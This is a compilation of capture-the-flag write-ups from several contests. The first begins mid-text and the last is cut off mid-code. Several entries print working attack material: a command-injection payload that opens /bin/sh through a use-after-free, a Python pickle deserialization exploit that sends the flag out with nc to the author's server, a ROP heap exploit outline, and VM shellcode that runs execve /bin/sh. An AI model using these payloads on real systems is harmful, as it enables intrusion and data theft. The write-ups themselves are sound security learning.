```400c4f: e8 cc fc ff ff callq 400920 <getenv@plt>```
After that we always started the binary with:
```$ DEBUG=1 ./unix_time_formatter_9a0c42cadcb931cce0f9b7a1b4037c6b```
This flag was a very helpful bit of assistance from PPP, as it output the command being run when we printed the time (option 4) and showed the memory pointers used in `strdup` and `free` calls.
Here is the useful DEBUG output per command:
### Format time
```Format: %cstrdup(0x7fffd37cde78) = 0x1796420Format set.```
### Set TZ
```Time zone: UTCstrdup(0x7fffd37cde78) = 0x1796440Time zone set.```
### Print formatted time
```Your formatted time is: Running command: /bin/date -d @0 +'%c'Thu 01 Jan 1970 12:00:00 AM UTC```
### Exit
```free(0x1796420)free(0x1796440)Are you sure you want to exit (y/N)? yOK, exiting.```
We honed in on the print formatted time command, that was where we could pop a shell. The call to `/bin/date` was run like this by the program:
```system(/bin/date -d @[TIME] +'[FORMAT]')```
Where `[TIME]` and `[FORMAT]` are user input. The time input was dead end in terms of command injection, giving it anything but an int would cause a seg fault when the print call was made. This left us the time format field, surrounded by single quotes, but any 1337 h4x0r worth their salt will know all we have to do is place a closing quote into our payload to escape these.
```Format: ';/bin/sh #\strdup(0x7ffcc3308678) = 0x1b17420Format contains invalid characters.free(0x1b17420)```
Uh-oh, no shell, what went wrong? We went back into the disassembled program and found out that it ran some input validation on our time format input. Only the characters `%aAbBcCdDeFgGhHIjklmNnNpPrRsStTuUVwWxXyYzZ:-_/0^#` were allowed, and without a single quote, we were not successfully injecting straight into time format.
**Now what?**
There's input validation on time-format, but not on timezone. We found we could put anything we wanted into the timezone, but it wasn't included within the `system()` call, so what use was it? We weren't quite sure.
We went back to messing around with the binary in DEBUG mode, testing ideas, bumbling around. After some frustrating head->wall grinding, I noticed the key we had missed before, "Hey wait, the f\*\*\*ing thing **frees those pointers before exit**!" Eureka. When option 5 gets chosen, the memory `malloc()`'d by `strdup()` to store the TZ and format is freed before the user chooses wheter to exit the program or not. Brian had heard of double-free vulns and the undefined behavior they could cause. *(We now know it was just a use-after-free, but we freed twice.)* What a beautiful thing for somebody looking for a vulnerability to hear "undefined behavior," mmmm, tasty.
## Exploiting
Q: What happens after we free these pointers, but don't exit?
A: Wonderful, wonderful things :)
```Welcome to Mary's Unix Time Formatter!...> 1Format: %cstrdup(0x7ffcd354c5f8) = 0x1d36420Format set....> 3Time zone: UTC strdup(0x7ffcd354c5f8) = 0x1d36440Time zone set....> 5free(0x1d36420)free(0x1d36440)Are you sure you want to exit (y/N)? n...> 3Time zone: UTCstrdup(0x7ffcd354c5f8) = 0x1d36440Time zone set....> 3 Time zone: UTCstrdup(0x7ffcd354c5f8) = 0x1d36420Time zone set.```
There it is, we now have our format field pointing at `0x1d36420` but thanks to use-after-free we just wrote to that address with the TZ input. Time to pop a shell on the server.
## Pwning
```$ nc unix.pwning.xxx 9999Welcome to Mary's Unix Time Formatter!1) Set a time format.2) Set a time.3) Set a time zone.4) Print your time.5) Exit.> 1Format: %cFormat set.1) Set a time format.2) Set a time.3) Set a time zone.4) Print your time.5) Exit.> 3Time zone: ';/bin/sh #\Time zone set.1) Set a time format.2) Set a time.3) Set a time zone.4) Print your time.5) Exit.> 5Are you sure you want to exit (y/N)?1) Set a time format.2) Set a time.3) Set a time zone.4) Print your time.5) Exit.> 5Are you sure you want to exit (y/N)?1) Set a time format.2) Set a time.3) Set a time zone.4) Print your time.5) Exit.> 3Time zone: ';/bin/sh #\Time zone set.1) Set a time format.2) Set a time.3) Set a time zone.4) Print your time.5) Exit.> 3Time zone: ';/bin/sh #\Time zone set.1) Set a time format.2) Set a time.3) Set a time zone.4) Print your time.5) Exit.> 4Your formatted time is:lsflag.txtunix_time_formatterwrappercat flag.txtPCTF{use_after_free_isnt_so_bad}exit```
## Wrapup
Flag: `PCTF{use_after_free_isnt_so_bad}`Notes: * We now know we didn't need to double free, this is a use after free vulnerability * Our payload `';/bin/sh #\` probably didn't need the `#\`, but we left it so that the second `'` wouldn't create problems * We could have automated this, but it wasn't very time consuming to do manually, and this was our first time popping a shell, very exciting
Thanks to PPP for putting on PCTF. |
# SQL
> Our [website](http://ctf.sharif.edu:36455/chal/sql/) executes your PostgreSQL queries. And flags are nicely formatted.
## Task
You can run SQL queries with some limitations. For each request, you must provide a proof-of-work, namely pow, which can satisfy this expression: `substr(sha1($pow . $nonce), 0, 5) === '00000'`
Example : `Nonce: e377f89644 `
## Solution
Using collision on SHA1 we are able to find a valide `pow`. I use a bruteforce program written in PHP, we can found this code every were on Internet:
```php$charset = 'abcdefghijklmnopqrstuvwxyz';$charset .= '0123456789';$charset .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';$str_length = strlen($charset); function check($password){ $nonce = "7a02f4c32f"; // change this every time you try a PostgresSQL, Yes not long time solution but no need more in the challenge :) $pass = sha1($password . $nonce); if (substr($pass, 0, 5) === '00000') { echo "pow: " . $password ."\n" ; }} function recurse($width, $position, $base_string){ global $charset, $str_length; for ($i = 0; $i < $str_length; ++$i) { if ($position < $width - 1) { recurse($width, $position + 1, $base_string . $charset[$i]); } check($base_string . $charset[$i]); }} for ($i = 4; $i < 9; ++$i) { echo "length " .$i. "\n" ; recurse($i, 0, '');}```
Example :
```php pow.phplength 4pow: b1ed```
Now we have a valid `pow` we can make PostgreSQL queries ! But not so simple, we can't use search clause meaning `WHERE`.
### Get the Tables
```sqlSELECT table_schema,table_name FROM information_schema.tables ORDER BY table_schema,table_name;
id msg-> information_schema administrable_role_authorizations-> information_schema applicable_roles-> information_schema attributes```
The result is limit to only 3 rows for each request... _I need to be more smart_ !
* Getting count of all the tables :
```sqlSELECT count(*) FROM information_schema.tables;-> 156```
* Count all different tables with `GROUP BY`:
```sqlSELECT count(*) FROM information_schema.tables GROUP BY table_schema-> 60-> 94-> 2```
Getting the name of the two lastest tables :
```sqlSELECT table_schema,table_name FROM information_schema.tables GROUP BY table_schema,table_name ORDER BY table_schema,table_name LIMIT 3 OFFSET 154-> public messages-> public mydata```
In contrary on other writtup i don't use bruteforce with a `WHILE(true)`, i will put all the result in the `SELECT` to pass the limitation of 3 rows http://stackoverflow.com/a/4469002/2274530.
### Get the Flag:
```sqlSELECT array_to_string(array(SELECT msg FROM messages LIMIT 1000),', ');-> ... qs mcenr xgrec jbt ytbfbogll fvtli x v csglwxuq tkc txngksixocj, SharifCTF{f1c16ea7b34877811e4662101b6a0d30}, upmipxovgavb ll k joigggii ivq fg dicardsdgwug f itjwc yeiv lbjmdu n uxv ...```
The flag is : `SharifCTF{f1c16ea7b34877811e4662101b6a0d30}` and i only use 7 Nonces :)
|
### Misc 80 - Flag not found`I tried to download the flag, but somehow received only 404 errors :(`
#ENWe have flag.pcapng file containing dns request and response packets along with HTTP get request to /flag.zip.If we analyze .pcapng file, following points are found.- DNS queries for A record- DNS queries for AAAA record (IPv6)- Each DNS query for different hostname but same host
First, we thought it's kind of challenge points to IPv6 which was not. We tried to send http GET /flag.zip request for each hostname. Didn't get lucky. After sometime, different hostnames look interesting```496e2074686520656e642c206974277320616c6c2061626f757420666c61.2015.ctf.internetwache.org67732e0a5768657468657220796f752077696e206f72206c6f736520646f.2015.ctf.internetwache.org65736e2774206d61747465722e0a7b4f66632c2077696e6e696e67206973.2015.ctf.internetwache.org20636f6f6c65720a44696420796f752066696e64206f7468657220666c61.2015.ctf.internetwache.org67733f0a4e6f626f62792066696e6473206f7468657220666c616773210a.2015.ctf.internetwache.org53757065726d616e206973206d79206865726f2e0a5f4845524f2121215f.2015.ctf.internetwache.org0a48656c70206d65206d7920667269656e642c2049276d206c6f73742069.2015.ctf.internetwache.org6e206d79206f776e206d696e642e0a416c776179732c20616c776179732c.2015.ctf.internetwache.org20666f72206576657220616c6f6e652e0a437279696e6720756e74696c20.2015.ctf.internetwache.org49276d206479696e672e0a4b696e6773206e65766572206469652e0a536f.2015.ctf.internetwache.org20646f20492e0a7d210a.2015.ctf.internetwache.org````x.2015.ctf.internetwache.org` that x subdomain is actually hex string. if we decode it `echo hostnames | xxd -r -p````In the end, it's all about fla gs.Whether you win or lose do esn't matter.{Ofc, winning is coolerDid you find other fla gs?Noboby finds other flags! Superman is my hero._HERO!!!_ Help me my friend, I'm lost i n my own mind.Always, always, for ever alone.Crying until I'm dying.Kings never die.So do I.}!```Again, where is the flag?. If you look steady, first letters of every line constructs flag. Misc challenge is misc LOL.```IW{DNS_HACKS}```
#MNДаалгаврын өгөгдөл нь flag.pcapng, dns query хүсэлт болон хариу өгсөн packet ууд болон /flag.zip рүү хандсан HTTP хүсэлтүүдтэй.pcapng файл байв. Нээж үзвээс, дараах зүйлүүд тодорхой байлаа.- A record ийн DNS хүсэлт - AAAA record ийн DNS хүсэлт (IPv6)- DNS хүсэлт болгон өөр өөр домэйн нэр асуусан ба хариулт нэг хост руу байсан.
Эхлээд IPv6 тай холбоотой гэж үзээд http://[ipv6address]/flag.zip гээд хүсэлт явуулаад амжилт олсонгүй. Хэсэг хугацааны дараа domainнэрсийг жагсаагаад нэг нэгээр мөн хүсэлт явуулж үзлээ, бас үгүй.```496e2074686520656e642c206974277320616c6c2061626f757420666c61.2015.ctf.internetwache.org67732e0a5768657468657220796f752077696e206f72206c6f736520646f.2015.ctf.internetwache.org65736e2774206d61747465722e0a7b4f66632c2077696e6e696e67206973.2015.ctf.internetwache.org20636f6f6c65720a44696420796f752066696e64206f7468657220666c61.2015.ctf.internetwache.org67733f0a4e6f626f62792066696e6473206f7468657220666c616773210a.2015.ctf.internetwache.org53757065726d616e206973206d79206865726f2e0a5f4845524f2121215f.2015.ctf.internetwache.org0a48656c70206d65206d7920667269656e642c2049276d206c6f73742069.2015.ctf.internetwache.org6e206d79206f776e206d696e642e0a416c776179732c20616c776179732c.2015.ctf.internetwache.org20666f72206576657220616c6f6e652e0a437279696e6720756e74696c20.2015.ctf.internetwache.org49276d206479696e672e0a4b696e6773206e65766572206469652e0a536f.2015.ctf.internetwache.org20646f20492e0a7d210a.2015.ctf.internetwache.org```Харин `x.2015.ctf.internetwache.org`x гэх subdomain ийг харвал hex string байв. Эдгээрийг decode `echo hostnames | xxd -r -p` хийвэл```In the end, it's all about fla gs.Whether you win or lose do esn't matter.{Ofc, winning is coolerDid you find other fla gs?Noboby finds other flags! Superman is my hero._HERO!!!_ Help me my friend, I'm lost i n my own mind.Always, always, for ever alone.Crying until I'm dying.Kings never die.So do I.}!```Гэхдээ флаг хаана байна?. Тогтож харвал, Мөр болгоны эхний үсэг нийлээд флаг байлаа.```IW{DNS_HACKS}``` |
```dmail420
dmail is dealermail, its super secret email for only the top dealers
Host is ubuntu 14.04
107.170.17.158 4201```
This challenge has both PIE and ASLR enabled. The program has 3 options. We can write mail, read mail and delete mail. At first mallocs a 256bytes for putting the addresses of the mails. After that when we write mail it asks for cubby id and puts the address of the mail to `addr_of_cubbies + 8 * id`. However it does not check for the id to be less than 32. Also it has an integer stored at `0x202018`, it checks whether `(i >> (id & 0xFF)) & 1` is 1 or 0 for checking whether this cubby is used or not used. For mail it asks for the size and makes a malloc with this size and using fgets, it fills this memory. This part has no overflow. After getting the mail it xors `1 << (id & 0xFF)` with the integer at `0x202018`.
If we give mail size larger than 256, it does not get the mail and does not do malloc but it xors the integer.
For reading the mail the program gets the pointer from `addr_of_cubbies + 8 * id` and prints it using puts. It also checks the integer at `0x202018` for checking wether we gave any mail to that cubby or not.
For deleting the mail it also checks with the integer at `0x202018` and deletes it using `free`. After that it xors `1 << (id & 0xFF)` with the integer at `0x202018`.
Since we know how the program works and since we know the flaw, we can start writing the attack script. The stack and heap is not executable so we need to use ROP. Since PIE and ASLR is enabled we need to find the addresses of the stack and base pointer of the glibc.
___
At first we can easily find the location of the heap. We write a mail to cubby 0 with size 256.
```| size || mail pointer 0 | <== ptrHeap| mail pointer 1 || ... || mail pointer 31 || prev_size || size || start of mail1 | <== id 34| ... || end of mail1 || prev_size || size || start of mail2 |```
So start of the first mail is at offset 34. We get another mail to cubby 34 with size 16. Now the address of mail2 is written in mail1. So if we read the mail with id 0, we get the address of `ptrHeap + 8 * 68`.
Now if we free the first chunk, we get back_pointer and forward_pointer that points to the heap area of glibc. We do this by first writing a mail with size 16, content `ptrHeap` and another mail with size 16 content `ptrHeap`.
```| size || mail pointer 0 | <== ptrHeap| mail pointer 1 || ... || mail pointer 31 || prev_size || size || start of mail1 | <== id 34| ... || end of mail1 || prev_size || size || start of mail2 || end of mail2 || prev_size || size || start of mail3 | <= id 72 content ptrHeap| end of mail3 || prev_size || size || start of mail4 | <= id 76 content ptrHeap| end of mail4 |```
Now we should free id 72 and read id 76. Now we have a pointer to heap of glibc. Since the offsets are the same we can calculate the offset between this pointer and main by inspectiong it from debugger. The offset is `0x22c722`. So now we have the address of main function.
By using the same technique we can find the address of glibc. If we call the pointer we found `ptr` the address of glibc is `*(ptr - 0x790) - 0x1f406`. The code section has `0x1f4a0` offset.
Now the we need to find the address of stack. The stack can be found at `*(*(ptr - 0xe8) + 0x1200)`. Lets call it ptrStack.
`writeMail` function(0xD99) has `leave` command at the end. This command replaces ebp and esp and after that pops ebp from stack. So if we change ebp before that, we can control esp so we can control the next return address. The function with fgets(0xCBF) has `pop rbp` at the end and we know the stack address. The address of this rbp is `ptrStack - 0x27 * 8`. So if we write a mail with `id = (ptrStack - 0x27 * 8 - ptrHeap) / 8` we make the rbp show the mail we send. It pops rbp from there and after that it gets the return addresses from there.
I asked about the glibc version of the server and the admin said the md5 of the glibc `252a9cb1b33b0d1d89a7ce8744e1cb17`. We can create the ROP using `http://ropshell.com/static/txt/252a9cb1b33b0d1d89a7ce8744e1cb17.txt.gz`. After sending the mail with `id = (ptrStack - 0x27 * 8 - ptrHeap) / 8`, size = 256 and content with ROP with 8 byte padding we successfully get remote shell.
The flag is `blaze{Congratulations, you've unlocked your first BlazeCTF recipe, DANK GARLICBREAD, the recipes button above the scoreboard should now be unlocked}`.Solution script is [here.](dmail.py)
PS: Sometimes this solution may not work. One of the reasons is that if the `id = (ptrStack - 0x27 * 8 - ptrHeap) / 8` is the same with the ones we used before it'll say that this cubby is already full. Another reason is that sometimes one of the pointers will have \x00 in it. So we may not be able to get full address. Last possible reason is the last payload may have \x0a in it so the payload will get cutted from the middle. For example `pop rdi ; ret` has \x0a in it so I used `pop rdi ; pop rbp; ret`. However it should work most of the time. |
```postboard420
I made a post on this new forum, but the memes were so dank that the admin disabled it! I managed to get my hands on a broken binary for the server, can you figure out how to pwn it and retrieve my memes?
46.101.248.243 1337
NOTE: if you are getting server 500 errors, clear your cookies```
By searching in broken binary for `__main__` or something like `This post has been disabled by the admin for being too dank.` we can find `0x881D40` offset and `0x8C8FE0` offset. After that by checking the cross references we can find `PyImport_ImportFrozenModule` function at `0x41DFDD`. This function finds the frozen module and loads it using `PyMarshal_ReadObjectFromString`. So we can extract the frozen module from `0x8C8FE0` and using `marshal.loads(frozen_module)` we can extract the code. After that by using `meta` module we can get .py file.
```pythonimport marshalfrozen_module=open("server.b","rb").read()code=marshal.loads(frozen_module)import meta, astmod = meta.decompile(code)source = meta.dump_python_source(mod)```
Here the source variable is the string of the .py file which can be seen [here.](server.py)
By inspecting this file first we spot the cPickle. The script reads the `sesion['auth']` from cookie(encrypted but we have the key at the bottom of the code) and loads it. So now we can use pickle exploit. For signing the pickle I run my own server using flask and the same key and copied the crafted cookie.
At first I tried to do `system('cat ../flagdir/flag 2>&1 | nc ip_of_my_server 10101')` and opened the server using `nc -lvp 10101` but I got permission denied error. The file was owned by `root` however we are `post`. So I used another method that can be found [here.](https://www.cs.uic.edu/~s/musings/pickle/).
```pythondef foo(): import os global posts flagg = posts["flag"].i os.system('echo "'+flagg+'" | nc ip_of_my_server 10101')
@app.route('/<arg>', methods=['POST', 'GET'])def index(arg): res = """ctypesFunctionType(cmarshalloads(cbase64b64decode(S'%s'tRtRc__builtin__globals(tRS''tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code)) session['auth'] = res return "asdasdasd" return None
app.secret_key = 'can_y0u_5Teal_mY+seCr3t-key'app.run(port=1337, debug=False, host='0.0.0.0')```
The answer is `BLAZE{pickle_is_super_secure_with_signing_right?}` |
Looking at the information we've been given, it appears that this is an ECDSA repeated-nonce problem. We have an unspecified signature algorithm used to produce 512-bit signatures and a 256-bit public key. Additionally, the two signatures have identical first halves: 68299a51b6b592e2db83c26ca3594bdd81bdbb9f11c597a1deb823da7c8b9de8<span>. In ECDSA/DSA signatures, this indicates nonce reuse, a completely catastrophic mistake which allows not only for recovery of the nonce, but recovery of the private key as well!There's code available to do this at</span> <span>http://antonio-bc.blogspot.com/2013/12/mathconsole-ictf-2013-writeup.html which will recover the nonce and private key and allow us to sign the flag value as required to complete the challenge.</span> |
#[Failed Compression](https://ctftime.org/task/2258)
This one was a pain in the *ss. I opened the file (compressed.zip, 73mb) and found a lot of JPEG JFIF broken headers, and also PNG IHDR ones.
I was REALLY bored to code something nice to extract all the files, so I thought I could use some luck this time. Then I focused on the JPEG files.
Before you continue, I'd like you to know that I'm not proud of the following lines ;)
##1. Convert the file to hex`xxd -p compressed.zip | tr -d "\n" > hex`
-----------
##2. Make an ugly loop to isolate the JPEG markers within spaces using an uglier sed.
`j=0; for i in $(cat hex | sed 's/e000104a/ STARTHERE/g;s/ae4260/ENDHERE /g'); do echo $i > $j.j; let j++; done;`
----------
##3. Loop all the files, now fixing the headers and footers, then converting back from hex to file.
`for i in *.j ; do sed -i 's/STARTHERE/ffd8ffe000104a/g;s/ENDHERE/ae4260/g' $i; xxd -r -p $i > ${i}pg ; done;`
-----------
##4. For easy browsing, let's make a HTML file with all the valid JPEG files`for i in $(file *.jpg| grep JPEG | cut -f1 -d:); do echo "" >> index.html; done`
------------
As I said, we needed luck. The flag was in one of the jpeg files :)Take a look at 264.jpg
---------- |
# angstromCTF 2016 : what-the-hex-15
**Category:** Crypto**Points:****Solves:****Description:**
> Decode using hex and see what you get...>> 6236343a20615735305a584a755a58526659323975646d567963326c76626c3930623239736331397962324e7
## Write-up
(TODO)
## Other write-ups and resources
* [D3siprox](https://ctftime.org/writeup/3081)* [iPush](http://ipushino.blogspot.com/2016/04/angstromctf-2016-what-hex-crypto-15.html)* [Soufiane Boussali](https://github.com/MrMugiwara/WriteupsCTF/tree/master/AngstromCTF2016/What-the-Hex) |
Like all the other "... is hard" problems in past PlaidCTF this one is about CVE-2015-3193.<span>OpenSSL 1.0.2 versions before 1.0.2e on x86_64 contain a bug in the function BN_mod_exp() and sometimes it produces wrong results. So, the solution is here:https://github.com/hannob/bignum-fuzz/blob/master/CVE-2015-3193-openssl-vs-gcrypt-modexp.c</span> |
# SharifCTF 2016: Kick Tort Teen
## Challenge details| Event | Challenge | Category | Points ||:------|:----------|:---------|-------:|| SharifCTF | Kick Tort Teen | Forensics | 50 |
### Description> Anagram, anyone?>> [Download](challenge/data.xls)
## Write-upThe challenge gives us an *Excel* spreadsheet ([data.xls](challenge/data.xls)). As soon as we open this file in LibreOffice, we are prompted with a warning about embedded macros.
![Macro Warning](solution/macro_warning.png)
After acknowledging the warning we can see there's a grid of 23*14747 cells that hold numbers. So let's take a look at the macros we were warned about earlier. Via `Tools > Macros > Organize macros > LibreOffice Basic` we can see that file contains three macros under `Modules > Module1`. We can view the actual code by selecting `Edit`:
```vbscriptRem Attribute VBA_ModuleType=VBAModuleOption VBASupport 1Function FileExists(ByVal FileToTest As String) As Boolean FileExists = (Dir(FileToTest) <> "")End FunctionSub DeleteFile(ByVal FileToDelete As String) If FileExists(FileToDelete) Then 'See above SetAttr FileToDelete, vbNormal Kill FileToDelete End IfEnd SubSub DoIt() Dim filename As String filename = Environ("USERPROFILE") & "\fileXYZ.data" DeleteFile (filename)
Open filename For Binary Lock Read Write As #2 For i = 1 To 14747 For j = 1 To 23 Put #2, , CByte((Cells(i, j).Value - 78) / 3) Next Next
Put #2, , CByte(98) Put #2, , CByte(13) Put #2, , CByte(0) Put #2, , CByte(73) Put #2, , CByte(19) Put #2, , CByte(0) Put #2, , CByte(94) Put #2, , CByte(188) Put #2, , CByte(0) Put #2, , CByte(0) Put #2, , CByte(0)
Close #2End Sub```
This shows there's the `FileExists` function and two subroutines `DeleteFile` and `DoIt`. `FileExists` only checks if a given a file is present on the system, while `DeleteFile` deletes a file. The interesting code clearly is in `DoIt`. Basically what this macro will do is iterate over all the cells, do a minimal calculation over the value, convert it to a `CByte` and write the result to a file `fileXYZ.data` in the directory specified by the `USERPROFILE` environment variable. Finally it appends a couple more bytes to the file.
Instead of running the macro from inside the spreadsheet, we exported the data in a more friendly [csv](solution/data.csv) format and wrote a simple Python script that will do the same as the `DoIt` macro.
```python
def main():
data = []
print('[+] Reading values', end='... ') with open('data.csv') as f: for line in f: for i in line.split(','): value = (int(i) - 78) // 3 data.append(value) print('done')
with open('fileXYZ.data', 'wb') as f: print('[+] Writing decoded bytes', end='... ') f.write(bytes(data)) print('done')
print('[+] Writing trailing bytes', end='...') f.write(bytes([98, 13, 0, 73, 19, 0, 94, 188, 0, 0, 0])) print('done')
print('[+] Done: fileXYZ.data')
if __name__ == '__main__': main()
```
Let's see what we produced:
```bash
> $ file fileXYZ.data> fileXYZ.data: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped
```
### SolutionRunning the file now presents us with the flag:
```bash
> $ ./fileXYZ.data> SharifCTF{5bd74def27ce149fe1b63f2aa92331ab}
``` |
#Ducks
##[The ducks](http://ducks.sctf.michaelz.xyz/) and I have a unfinished score to settle.
**Hint:** *If you've remember HSF, you'll know that The Ducks is unsolvable.*
Viewing the source code of this challenge, we appear to have some awkward use of extract...
```
<div class="alert alert-success"> </div> ```
The exploit:>PHP has a function named extract() to take all provided GET and POST requests and assign them to internal variables. Developers will, at times, use this function instead of manually assigning $_POST[var1] to $var1. This function will overwrite any previously defined variables, including server variables. Extract() has options which prevent overwriting previously-defined variables, however this safety is not enabled by default, and developers might not enable the safety, just as many do not perform input validation. This vulnerability is similar in design to the register globals vulnerabilities present in PHP.
[Source](https://davidnoren.com/post/php-extract-vulnerability.html)
So, now it's pretty trivial. The goal is to set $pass equal to the same value as $thepassword_123. I opted to use curl for this.
`curl 'http://ducks.sctf.michaelz.xyz/' --data 'pass=t&thepassword_123=t'`
grepping the results for the flag provides a positive result:`sctf{maybe_i_shouldn't_have_extracted_everything_huh}`
![flag](https://github.com/HackThisCode/CTF-Writeups/blob/master/2016/SCTF/Ducks/flag.png "Flag") |
We Can Open The Pcap File Using Wireshark And Follow The TELNET Protocol To Get Flag :Flag : https://github.com/MrMugiwara/WriteupsCTF/blob/master/ufoCTF2016/Find_Me/flag.pngSource : https://github.com/MrMugiwara/WriteupsCTF/tree/master/ufoCTF2016/Find_Me |
xenocryst - 420 points======================
This challenge required you to reverse engineer a virtual machine that ran aslightly modified [Brainfuck](https://en.wikipedia.org/wiki/Brainfuck)interpreter, then generate "shellcode" for this VM.
A quick top-down look at the binary in IDA shows this: The code allocates amemory region of `0x300000` bytes, then does a LOT of initialization and setupin that memory space. Being overwhelmed, I decided to skip static analysisfor now and go over to dynamic analysis.
I load the binary in GDB and see it reads a string from stdin, so I use the`awatch` command to break the program whenever it reads or modifies the memorywhere my input string resides. It first breaks on a strlen() call, then ittriggers a breakpoint inside the function `sub_1450`.
After a lot of single stepping I finally realize that this function is theinner loop of a virtual machine, more specifically, a[One Instruction Set Computer](https://en.wikipedia.org/wiki/One_instruction_set_computer)VM. Each instruction is made up of five dwords:
``` aaaa bbbb cccc dddd eeee src dest size xtra nextip```
In each instruction cycle, `size` bytes is copied from `src` to `dest`, andthe instruction pointer is forwarded to `nextip` (`xtra` contains an extradword that is generally unused, but can be used as an immediate constantfor the copy step). For the most part, all addresses are relative to the basememory address of the VM. In the rest of this writeup, consider all givenaddresses to be relative to this base address.
I dump the whole VM memory in GDB with `dump binary memory` and then startlooking through the result, reverse engineering what the VM program isactually doing. One thing quickly stands out - the byte read from my inputstring is used for lookup in a jump table at `0x00010000` in the VM memory,where I notice an interesting pattern. Every value is `0x04`, except froma few that correspond to the characters `#+,-.<>[]`, which I recognizeas the instruction set of Brainfuck, with the hash character added.
Testing out my theory, I give the string
```++++++++[>++++[>++>+++>+++>+<<<<-]>+>+>->>+[<]<-]>>.>---.+++++++..+++.>>.<-.<.+++.------.--------.>>+.>++.```
as input, and in response I get
```Hello World!```
Theory confirmed.
Now it's time to dig deeper into the `#` character. Reversing more of the code,I see that it reads the byte at the current position in Brainfuck memory, andif it's either `0x80`, `0x83` or `0x84`, it reads some more parameters andtriggers system calls `exit(1)`, `read(3)` or `write(4)` respectively.
Being tired, I totally miss that you can actually specify the exact positionin BF memory to read from and write to, and spend a lot of time tryingto create BF programs that either move the BF instruction pointer or BF memorypointer out of bounds. No such luck, as the bound checking is pretty robust onthose pointers.
After a night of sleep, I come back and finally see the code that reads theoffset parameter and adjusts it to the *real* x86 memory address. Now theway to exploitation becomes clear:
- Do a system call in Brainfuck that writes some data from the VM memory (which contains the offset to x86 memory) to stdout- Do another system call in Brainfuck that reads from stdin and overwrites part of the VM code with our own VM shellcode- Trigger the shellcode, which will call `sys_execve` with our desired parameters
I'm interested in two dwords inside the VM code - the offset to the memoryblock which is used to pass parameters from BF code to system calls, whichis positioned at `0x00012b30`, and the offset between the BF memory andreal x86 memory, which is stored at `0x00012b44`. The BF memory starts at`0x00250f04`, and to shorten the BF code I will read 255 bytes from`0x00012b04`, giving a relative offset of `0xffdc1c00`. I create a simple BFprogram that puts this byte sequence in BF memory:
```0x84 0x01 0xff 0x00 0x1c 0xdc 0xff```
then uses `#` to trigger the `write` system call.
I decide to overwrite the VM code that handles the `[` BF opcode, which is at`0x000124bc`, and gives the relative offset of `0xffdc15b8`. As before, I putthis sequence into BF memory
```0x83 0x00 0xff 0xb8 0x15 0xdc 0xff```
and trigger the `read` system call, before finally executing `[` which runsmy shellcode. After extracting the addresses I'm interested in, I create this customized VMshellcode
```000124c8 param+4 00000004 0000000b 000124d0 # system call 11 = sys_execve000124dc param+8 00000004 arg1 000124e4 # arg1 = path to file to exec000124f0 param+12 00000004 arg2 000124f8 # arg2 = pointer to argv list00012504 param+16 00000004 00000000 0001250c # no flags00012518 param+0 00000001 ffffffff 00012520 # trigger the VM system call trap00012520 00012520 00000000 00000000 00012520 # endless looparg1 00000000 # argv list"/bin/sh\x00"```
which is then given into the waiting `read` call.
Finally, I get shell access, and get the flag from /home/xenocryst/flagwhich is `blaze{I was gonna solve P vs NP but then I got high}` |
## Xorpainter (Misc, 4p) you need a BIG screen to solve this problem ###ENG[PL](#pl-version)
317MB CSV file is provided. Each row contains 4 numbers.It looks like first pair is always smaller than the second pair.This suggests the numbers represent rectangles.Name of the file suggests we should paint them in xor mode (like in AWT).
The data is huge, so we do one simple optimization.Instead of painting all the pixels, we mark only first and last row of each rectangle.
For example, for input:
0, 0, 3, 3 2, 2, 4, 4
following image is generated:
1 1 1 0 0 0 0 0 1 1 0 1 0 0 1 1
after XORing each row with previous one, end result is generated:
1 1 1 0 1 1 1 0 1 1 0 1 0 0 1 1
After this optimization, processing all the data takes only a couple of minutes.The result is 16384x16384 image. ImageMagick is able to load and navigate through such big image.Some letters are visible, but it's mostly empty space.The image becomes more usefull after removing empty rows and columns.```cpp#include <stdio.h>#include <stdlib.h>
#define size 16384
static int flip[size][size];static int non_empty_x[size];static int non_empty_y[size];
int main(int argc, char*argv[]) { int x0,y0,x1,y1; int row = 0; while(scanf("%d, %d, %d, %d", &x0, &x1, &y0, &y1) == 4) { for(int x=x0;x<x1;x++){ flip[y0][x]^=1; flip[y1][x]^=1; } row++; if((row&0xfff) == 0) { fprintf(stderr, "row: %d\r", row); } }
row = 0; for(int y=1;y<size;y++){ for(int x=0;x<size;x++){ flip[y][x] ^= flip[y-1][x]; } row++; if((row&0xfff) == 0) { fprintf(stderr, "flip: %d\r", row); } }
for(int y=0;y<size;y++){ for(int x=0;x<size;x++){ non_empty_x[x] |= flip[y][x]; non_empty_y[y] |= flip[y][x]; } }
int xsize = 0; int ysize = 0;
for(int i=0;i<size;i++){ xsize += non_empty_x[i]; ysize += non_empty_y[i]; }
printf("P1 %d %d\n",xsize,ysize); for(int y=0;y<size;y++){ for(int x=0;x<size;x++){ if(non_empty_x[x] && non_empty_y[y]) { printf("%d ",flip[y][x]); } } printf("\n"); }}```It looks like only outlines of the letters are visible - probably due to off by one error.The image is also still 3195 x 3321 pixels, but we can read a flag from it.
`0ctf{5m@LL_fL@g_#n_BiG_Bitmap}`
###PL version
Otrzymujemy 317 megabajtowy plik CSV.Każdy wiersz zawiera 4 liczby.Pierwsza para jest zawsze mniejsza niż druga para.Sugeruje to że wartości reprezentują prostokąty (x0, y0, x1, y1).Nazwa pliku sugeruje że powinniśmy je namalować trybem XOR (jak w AWT).
Dane są jednak zbyt duże dla naiwnego algorytmu.Stosujemy więc prostą optymalizację.Zamiast malować każdy piksel, malujemy tylko pierwszy i ostatni rząd każdego prostokąta.
Np. dla wejścia:
0, 0, 3, 3 2, 2, 4, 4
generowana jest bitmapa:
1 1 1 0 0 0 0 0 1 1 0 1 0 0 1 1
po sXORowaniu ze sobą kolejnych rzędów otrzymujemy ostateczny obraz:
1 1 1 0 1 1 1 0 1 1 0 1 0 0 1 1
Po tej optymalizacji, przetworzenie danych zajmuje tylko kilka minut.Wynikiem jest bitmapa 16384x16384 pikseli.ImageMagick (jako jeden z nielicznych) potrafi otworzyć i nawigować po tak wielkim obrazie.Widoczne są jakieś litery, ale większość obrazka jest pusta.Aby zwiększość czytelność usuwamy puste wiersze i kolumny.```cpp#include <stdio.h>#include <stdlib.h>
#define size 16384
static int flip[size][size];static int non_empty_x[size];static int non_empty_y[size];
